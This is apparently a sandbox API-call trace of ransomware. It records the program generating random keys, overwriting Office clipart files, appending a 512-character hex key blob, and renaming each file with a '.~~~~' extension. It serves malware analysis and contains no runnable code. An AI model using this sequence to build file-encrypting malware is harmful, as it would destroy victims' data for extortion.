	[0111.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e430
	[0111.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.237] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.237] GetLastError () returned 0x0
	[0111.237] GetLastError () returned 0x0
	[0111.237] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.237] GetLastError () returned 0x0
	[0111.237] GetLastError () returned 0x0
	[0111.239] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe84a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.239] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x17b6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x17b6, lpOverlapped=0x0) returned 1
	[0111.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.240] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.240] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.240] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.240] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.241] CloseHandle (hObject=0x11c) returned 1
	[0111.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.~~~~")) returned 1
	[0111.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.242] GetLastError () returned 0x0
	[0111.243] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.244] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.244] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.244] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23123426061) returned 1
	[0111.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabe844f0, dwHighDateTime=0x1d60e1e)) 
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f760
	[0111.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f760 | out: hHeap=0x300000) returned 1
	[0111.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282eab8
	[0111.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.245] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.245] GetLastError () returned 0x0
	[0111.245] GetLastError () returned 0x0
	[0111.245] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.245] GetLastError () returned 0x0
	[0111.245] GetLastError () returned 0x0
	[0111.247] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe87c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.247] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1784, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1784, lpOverlapped=0x0) returned 1
	[0111.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.248] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.248] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.248] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.248] CloseHandle (hObject=0x11c) returned 1
	[0111.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.~~~~")) returned 1
	[0111.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.249] GetLastError () returned 0x0
	[0111.250] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.251] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.251] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23124089619) returned 1
	[0111.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabe844f0, dwHighDateTime=0x1d60e1e)) 
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f798
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f798 | out: hHeap=0x300000) returned 1
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282eb50
	[0111.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.251] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.252] GetLastError () returned 0x0
	[0111.252] GetLastError () returned 0x0
	[0111.252] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.252] GetLastError () returned 0x0
	[0111.252] GetLastError () returned 0x0
	[0111.366] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe1a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.366] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1e58, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1e58, lpOverlapped=0x0) returned 1
	[0111.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.367] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.367] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.368] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.368] CloseHandle (hObject=0x11c) returned 1
	[0111.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.~~~~")) returned 1
	[0111.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.369] GetLastError () returned 0x0
	[0111.390] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.391] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.391] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.391] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23138123800) returned 1
	[0111.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabfdb150, dwHighDateTime=0x1d60e1e)) 
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29bb090
	[0111.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29bb090 | out: hHeap=0x300000) returned 1
	[0111.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8fc0
	[0111.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831120
	[0111.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8fc0 | out: hHeap=0x300000) returned 1
	[0111.392] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.392] GetLastError () returned 0x0
	[0111.392] GetLastError () returned 0x0
	[0111.392] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.393] GetLastError () returned 0x0
	[0111.393] GetLastError () returned 0x0
	[0111.396] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff50c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.396] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xaf4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0xaf4, lpOverlapped=0x0) returned 1
	[0111.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0111.398] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.399] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.399] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.399] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.399] CloseHandle (hObject=0x144) returned 1
	[0111.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c8fc0
	[0111.399] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.~~~~")) returned 1
	[0111.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8fc0 | out: hHeap=0x300000) returned 1
	[0111.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.400] GetLastError () returned 0x0
	[0111.401] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.402] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.403] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23139284286) returned 1
	[0111.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac0012b0, dwHighDateTime=0x1d60e1e)) 
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f920
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f920 | out: hHeap=0x300000) returned 1
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8fc0
	[0111.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831250
	[0111.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8fc0 | out: hHeap=0x300000) returned 1
	[0111.404] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.404] GetLastError () returned 0x0
	[0111.404] GetLastError () returned 0x0
	[0111.404] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.404] GetLastError () returned 0x0
	[0111.405] GetLastError () returned 0x0
	[0111.408] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa55c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.408] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x5aa4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x5aa4, lpOverlapped=0x0) returned 1
	[0111.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0111.409] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.409] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.410] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.410] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.410] CloseHandle (hObject=0x144) returned 1
	[0111.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c8fc0
	[0111.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.~~~~")) returned 1
	[0111.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8fc0 | out: hHeap=0x300000) returned 1
	[0111.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.411] GetLastError () returned 0x0
	[0111.411] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.413] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.413] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.413] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23140300211) returned 1
	[0111.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac027410, dwHighDateTime=0x1d60e1e)) 
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f958
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
